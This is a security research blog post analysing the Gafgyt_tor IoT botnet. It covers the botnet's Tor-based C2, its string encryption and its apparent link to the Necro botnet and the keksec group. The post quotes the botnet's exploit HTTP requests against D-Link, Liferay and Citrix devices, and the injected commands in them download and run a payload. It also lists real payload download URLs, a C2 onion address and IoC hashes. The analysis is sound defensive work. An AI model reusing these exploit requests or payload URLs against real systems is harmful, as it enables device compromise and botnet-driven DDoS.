# Gafgtyt_tor and Necro are on the move again **[blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/](https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/)** jinye March 4, 2021 4 March 2021 / [Necro](https://blog.netlab.360.com/tag/necro/) ## Overview Since February 15, 2021, 360Netlab's BotMon system has continuously detected a new variant of the Gafgyt family, which uses Tor for C2 communication to hide the real C2 and encrypts sensitive strings in the samples. This is the first time we found a Gafgyt variant using the Tor mechanism, so we named the variant Gafgyt_tor. Further analysis revealed [that the family is closely related to the Necro family we made public in January, and is behind](https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/) [the same group of people, the so-called keksec group [1]](https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg) [[2]. In this blog, we will introduce](https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/) Gafgyt_tor and sort out other recent botnets operated by this group. The key points of this article are as follows. 1. Gafgyt_tor uses Tor to hide C2 communication, over 100 Tor proxies can be built in, and new samples are continuously updating the proxy list. 2. Gafgyt_tor share the same origin with the Gafgyt samples discturibed by the keksec group, the core function is still DDoS attacks and scanning. 3. The keksec group reuse the code between different bot families. 4. In addition, the keksec group also reuse a bunch of IP addresses for a long time. ## Sample Analysis ### Propagation The currently discovered Gafgyt_tor botnet is mainly propagated through Telnet weak passwords and the following three vulnerabilities. D-Link RCE (CVE-2019-16920) ----- ``` POST /apply_sec.cgi HTTP/1.1 Host: %s:%d User-Agent: kpin Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: %d Connection: close Referer: http://%s:%d/login_pic.asp Cookie: uid=1234123 Upgrade-Insecure-Requests: 1 html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%%0acd%%20%%2Ft O%%20.kpin;chmod%%20777%%20.%%2F.kpin;.%2F.kpin;rm%%20-rf%%20.kpin ``` Liferay Portal RCE ``` POST /api/jsonws/expandocolumn/update-column HTTP/1.1 Host: %s:%d Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.25.0 Content-Length: %d Content-Type: application/x-www-form-urlencoded Authorization: Basic dGVzdEBsaWZlcmF5LmNvbTp0ZXN0 %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&defaultData.userOve ``` Citrix CVE-2019-19781 ``` POST /vpns/portal/scripts/newbm.pl HTTP/1.1 Host: %s:%d User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive NSC_USER: ../../../netscaler/portal/templates/flialwznxz NSC_NONCE: 12 Content-Length: %d Content-Type: application/x-www-form-urlencoded url=127.0.0.1&title=%%5B%%25+template.new%%28%%7B%%27BLOCK%%27%%3D%%27print+readpipe%% O+.kpin%%3Bchmod+777+.%%2F.kpin%%3B.%%2F.kpin%%3Brm+rf+.kpin%%22%%29%%27%%7D%%29%%25%%5D&desc=desc&UI_inuse=a ### Encryption ``` ----- Gafgyt_tor integrates a replacement encryption algorithm for encrypting C2 and sensitive strings to counter detection and static analysis. Sensitive strings include commands, IPC pathnames, DDoS-related attack strings, etc. The following is a comparison of ciphertext and plaintext C2. ``` # ciphertext '"?>K!tF>iorZ:ww_uBw3Bw' # plaintext 'wvp3te7pkfczmnnl.onion' ``` The Gafgyt_tor variants we detected so far all use the same C2 wvp3te7pkfczmnnl.onion. Some of the cipher decryption results are as follows. ``` # commands ~-6mvgmv - LDSERVER 1-| - UDP cD| - TCP ej~- - HOLD 51,U - JUNK c~6 - TLS 6c- - STD -,6 - DNS 6D7,,mv - SCANNER j, - ON jdd - OFF jge - OVH .~7DU,1v6m - BLACKNURSE # DDoS-related attack 7~~ - ALL 6p, - SYN v6c - RST dx, - FIN 7DU - ACK |6e - PSH # Scan-related aDbwwtr3bw - WChnnecihn aQuq - W.1 aEcc - WxTT 74tw! - Agent 1;t= - User # misc |x,< - PING =ru_Brf_ - rc.local ``` The following is the python decryption code we wrote based on the inverse results. ----- ``` def decode(encoded, encodes): idx = 0 decodes = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ' decoded = bytearray() while ( idx < len(encoded)): for table_idx in range(0, 64): if encoded[idx] == encodes[table_idx]: decoded.append(decodes[table_idx]) idx += 1 print(decoded) encodes = b'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-mdK!tF>iorZ:ww_uBw3Bw' decode(encoded_cc, encodes) ### Communication ``` Compared with other Gafgyt variants, the biggest change of Gafgyt_tor is that the C2 communication is based on Tor, which increases the difficulty of detection and blocking. The Tor-based C2 communication mechanism has been seen in other families we have analyzed [before( Matryosh](https://blog.netlab.360.com/matryosh-botnet-is-spreading/) [leethozer](https://blog.netlab.360.com/the-leethozer-botnet/) [moobot ), but this is the first time we encountered it in the Gafgyt](https://blog.netlab.360.com/moobot-0day-unixcctv-dvr/) family. Code changes Compared with other versions, the code structure of the main function of Gafgyt_tor, which adds the Tor proxy function, has changed very much, as shown in the following figure. ----- The original initConnection() function, which is responsible for establishing the C2 connection, is gone, replaced by a large section of code responsible for establishing the Tor connection. The newly added Tor-related functions are as follows. Among them, tor_socket_init is responsible for initializing a list of proxy nodes, each containing an ip address and a port. ----- Our analysis shows that the number of proxy nodes integrated in each sample is always 100+, with a maximum of 173. After initializing the proxy list, the sample will select a random node from the list to enable Tor communication via tor_retrieve_addr and tor_retrieve_port. After establishing a connection with the Tor proxy, Gafgyt_tor starts requesting wvp3te7pkfczmnnl.onion through the darknet waiting for instructions. This C2 address has not changed in the samples we have analyzed, but the communication port is continuously changing. The command The core function of Gafgyt_tor is still DDoS attack and scanning, so it mostly follows the common Gafgyt directive, a new directive called LDSERVER has been added. C2 can specify the download server used in Gafgyt_tor's exploit through this directive, as shown in the figure below. ----- This directive means that C2 can dynamically switch download servers, so that it can quickly switch to a new download server to continue propagation if the current one is blocked. ### Some other things Gafgyt_tor uses a few uncommon coding tricks in addition to the modification of the communication function. Singleton mode Single instance mode is implemented using Unix domain sockets (an IPC mechanism), which requires a pathname to be specified, which is also encrypted. As shown below, k4=f2t is decrypted to ugrade. Function name obfuscation None of the Gafgyt_tor samples we collected have been stripped, so the complete symbolic information is preserved in the samples, and most of the samples are scanned and propagated using a function named ak47Scan. In the sample captured on February 24 we found that the function name was obfuscated as a random string, so it can be assumed that the sample is in active development stage and the authors are gradually strengthening Gafgyt_tor's ability to counter analysis and detection. ----- ## Sample origin ----- While analyzing the IoC of Gafgyt_tor, we noticed that a download server IP 45.145.185.83 was used by Necro botnet, which appeared in early January this year: gxbrowser.net is one of Necro's 3 C2s, and the above image shows that it has resolved to this download server IP of Gafgyt_tor several times. Further analysis shows that this IP and another Necro C2 IP 193.239.147.224 were also used as C2 by other versions of Gafgyt and Tsunami botnet in early February, which apparently share code with Gafgyt_tor. 1. Both have decryption functions named decode, with identical code structures. 2. Both have scan functions named ak47scan and ak47telscan. Their decode function decode() differs only in the code table. ``` # Code table in the gafgyt sample '%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md4ihgfe6cba~&5Dk2d!8+9Uy:0' ``` The following figure is a comparison of their ak47scan() functions, you can see that the function and structure is actually similar, but there are changes in the way it runs and the ports it scans. ----- Based on the binary characteristics of the decode() and ak47scan() functions mentioned above, we found more such Tsunami and Gafgyt samples in our sample database, which are characterized as follows. 1. Tsunami samples appear in mid-August 2020 and are active for a short period of time. 2. Gafgyt samples were spreading intermittently from September to December 2020. 3. From early to mid-February, first Tsunami samples resumed propagation, then Gafgyt, followed by Gafgyt_tor. 4. There are many similarities between the currently spreading Gafgyt_tor variants and the previously captured Gafgyt samples, and the code is clearly same origin. 5. These variants of botnet frequently reuse same download server and C2 IP. We can see that there was no update in January this year, we guess because the authors focused their efforts on Necro. In terms of binary characteristics, there is no similarity with Gafgyt_tor as Necro is written in Python, but we see there are some commonalities in propagation methods. 1. Both changed different exploits in a short period of time, presumably to improve the propagation effect. 2. Both adopted the "develop-and-distribute" approach to continuously improve the botnet function, resulting in a large number of different samples being distributed in a short period of time. Based on the above analysis, we think that Gafgyt_tor and Necro are very likely operated by the same group of people, who have a pool of IP addresses and multiple botnet source codes, and have the ability of continuous development. In actual operation, they form different families of botnets, but reuse infrastructure such as IP address, for example, the above-mentioned IP 45.145.185.83 address acts as different C2 for different botnets since the end of last year, the timeline of different functions is roughly shown in the figure below. Here are some conclusions about the group: ----- 1. They have at least the source code for Necro, Gafgyt and Tsunami. 2. They continue to upgrade and rotate the botnets in their hands. 3. They have a pool of IP address resources and reuse them in different botnets. 4. The group also keeps up with n-day vulnerabilities in IoT and use them promptly to facilitate their own botnets. The timeline chart below shows the Linux IoT botnet family operated by this group that we detected from last August to now. ## Contact us Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn. ## IoC MD5 ----- ``` # tsunami 3ab32e92917070942135f5c5a545127d # gafgyt f1d6fbd0b4e6c6176e7e89f1d1784d14 # gafgyt_tor eb77fa43bb857e68dd1f7fab04ed0de4 dce3d16ea9672efe528f74949403dc93 bfaa01127e03a119d74bdb4cb0f557ec a6bdf72b8011be1edc69c9df90b5e0f2 5c1153608be582c28e3287522d76c02f 54e2687070de214973bdc3bc975049b5 b40d8a44b011b79178180a657b052527 1cc68eb2d9713925d692194bd0523783 94a587198b464fc4f73a29c8d8d6e420 2b2940d168a60990377fea8b6158ba22 56439912093d9c1bf08e34d743961763 2d6917fe413163a7be7936a0609a0c2d 8cd99b32ec514f348f4273a814f97e79 1c966d79319e68ccc66f1a2231040adb 47275afdb412321610c08576890093d7 3c5758723980e6b9315ac6e6c32e261d 980d4d0ac9335ae1db6938e8aeb3e757 513bc0091dfa208249bd1e6a66d9d79e 8e551c76a6b17299da795c2b69bb6805 61b93c03cb5af31b82c11d0c86f82be1 69cab222e42c7177655f490d849e18c5 7cbdd215e7f1e17fc589de2df3f09ac9 6b631fed1416c2cd16ca01738fdfe61a 90a716280fe1baee0f056a79c3aa724d 3b4f844c7dd870e8b8c1d5a397a29514 853dc777c5959db7056f64b34e938ba5 3eccab18fa690bbfdb6e10348bc40b02 e78e04aad0915f2febcbb19ef6ffc4fe b99115a6ea41d85dea5c96d799e65353 4b95dfc5dc523f29eebf7d50e98187c2 4c271f8068bc64686b241eb002e15459 843a7fec9a8e2398a69dd7dfc49afdd2 7122bcd084d2d0e721ec7c01cf2a6a57 10f6b09f88e0cf589d69a764ff4f455b f91083e19eed003ac400c1e94eba395e ``` C2 ``` wvp3te7pkfczmnnl.onion ``` Download URL ----- ``` http://45.153.203.124/bins/AJhkewbfwefWEFx86 http://45.153.203.124/bins/AJhkewbfwefWEFsh4 http://45.153.203.124/bins/AJhkewbfwefWEFmips http://45.153.203.124/S1eJ3/lPxdChtp3zx86 http://45.153.203.124/S1eJ3/lPxdChtp3zsh4 http://45.153.203.124/S1eJ3/lPxdChtp3zppc-440fp http://45.153.203.124/S1eJ3/lPxdChtp3zmpsl http://45.153.203.124/S1eJ3/lPxdChtp3zmips http://45.153.203.124/S1eJ3/lPxdChtp3zarm7 http://45.153.203.124/S1eJ3/lPxdChtp3zarm http://45.145.185.83/bins/AJhkewbfwefWEFx86 http://45.145.185.83/bins/AJhkewbfwefWEFspc http://45.145.185.83/bins/AJhkewbfwefWEFsh4 http://45.145.185.83/bins/AJhkewbfwefWEFppc http://45.145.185.83/bins/AJhkewbfwefWEFmips http://45.145.185.83/bins/AJhkewbfwefWEFi586 http://45.145.185.83/bins/AJhkewbfwefWEFarm7 http://45.145.185.83/bins/AJhkewbfwefWEFarm http://45.145.185.83/S1eJ3/lPxdChtp3zsh4 http://45.145.185.83/S1eJ3/lPxdChtp3zmpsl http://45.145.185.83/S1eJ3/lPxdChtp3zmips http://45.145.185.83/S1eJ3/lPxdChtp3zi686 http://45.145.185.83/S1eJ3/lPxdChtp3zbsd http://45.145.185.83/S1eJ3/lPxdChtp3zarm7 http://45.145.185.83/S1eJ3/lPxdChtp3zarm64 http://45.145.185.83/S1eJ3/lPxdChtp3zarm http://45.145.185.83/S1eJ3/IObeENwjx86 http://45.145.185.83/S1eJ3/IObeENwjmips http://45.145.185.83/S1eJ3/IObeENwjarm5 http://45.145.185.83/S1eJ3/IObeENwjarm4 http://45.145.185.83/S1eJ3/IObeENwjarm ``` Tor Proxy ----- ``` 103.125.218.111 103.125.218.111 103.82.219.42 104.155.207.91 104.224.179.229 107.20.204.32 111.90.159.138 116.202.107.151 116.203.210.124 116.203.210.124 116.203.210.124 116.203.210.124 116.203.210.124 119.28.149.37 128.199.45.26 130.193.56.117 134.122.4.130 134.122.4.130 134.122.59.236 134.122.59.236 134.122.59.236 134.209.230.13 134.209.249.97 135.181.137.237 138.68.6.227 139.162.149.58 139.162.32.82 139.162.42.124 139.99.239.154 142.47.219.133 143.110.230.187 145.239.83.129 146.59.156.72 146.59.156.76 146.59.156.77 146.66.180.176 148.251.177.144 157.230.27.96 157.230.98.211 157.230.98.77 158.174.108.130 158.174.108.130 158.174.108.130 158.174.108.130 158.174.108.130 158.174.108.130 158.174.108.130 158.247.211.132 159.65.69.186 159.69.203.65 159.69.203.65 159.89.19.9 161.35.84.202 165.22.194.250 165.22.94.245 ``` ----- ``` 167.172.123.221 167.172.173.3 167.172.177.33 167.172.178.215 167.172.179.199 167.172.180.219 167.172.190.42 167.233.6.47 167.71.236.109 168.119.37.152 168.119.37.152 168.119.37.152 168.119.37.152 168.119.37.152 168.119.61.251 172.104.240.74 172.104.4.144 176.37.245.132 178.62.215.4 18.191.18.101 18.229.49.115 185.105.237.253 185.106.121.176 185.106.122.10 185.128.139.56 185.180.223.198 185.18.215.170 185.18.215.178 185.212.128.115 185.212.128.115 185.212.128.115 185.212.128.115 185.212.128.115 185.212.128.115 185.217.1.30 188.127.231.152 188.165.233.121 188.166.17.35 188.166.34.137 188.166.79.209 188.166.79.209 188.166.80.74 188.166.82.232 188.166.82.232 188.227.224.110 188.68.52.220 192.46.209.98 192.99.169.229 193.123.35.48 193.187.173.33 195.123.222.9 195.93.173.53 197.156.89.19 198.27.82.186 198.74.54.182 ``` ----- ``` 199.247.4.110 201.40.122.152 20.52.130.140 20.52.130.140 20.52.130.140 20.52.147.137 20.52.37.89 20.52.37.89 206.81.17.232 206.81.27.29 212.71.253.168 212.8.244.112 217.12.201.190 217.12.201.190 217.12.201.190 217.144.173.78 217.170.127.226 217.61.98.33 34.239.11.167 35.189.88.51 35.192.111.58 35.192.111.58 37.200.66.166 3.91.139.103 45.33.45.209 45.33.79.19 45.33.82.126 45.79.207.110 45.81.225.67 45.81.225.67 45.81.226.8 45.81.226.8 45.81.226.8 45.92.94.83 46.101.156.38 46.101.159.138 47.90.1.153 49.147.80.102 50.116.61.125 5.100.80.141 51.11.240.222 51.11.240.222 51.116.185.181 51.116.185.181 51.195.201.47 51.195.201.50 5.167.53.191 51.68.191.153 51.75.161.21 51.83.185.71 51.83.186.137 51.89.165.233 52.47.87.178 5.63.13.54 66.42.34.110 ``` ----- ``` 67.205.130.65 68.183.67.182 68.183.82.50 79.124.62.26 80.251.220.190 8.210.163.246 8.210.163.246 87.236.215.248 88.198.167.20 88.198.167.20 91.236.251.131 94.23.40.220 95.179.163.1 95.179.163.1 95.179.163.1 95.179.163.1 95.179.164.28 95.179.164.28 95.179.164.28 95.188.93.135 95.216.123.39 95.216.137.149 95.217.27.5 ## References ``` [https://blog.netlab.360.com/necro/](https://blog.netlab.360.com/necro/) [https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg](https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg) https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creatinga-botnet/ -----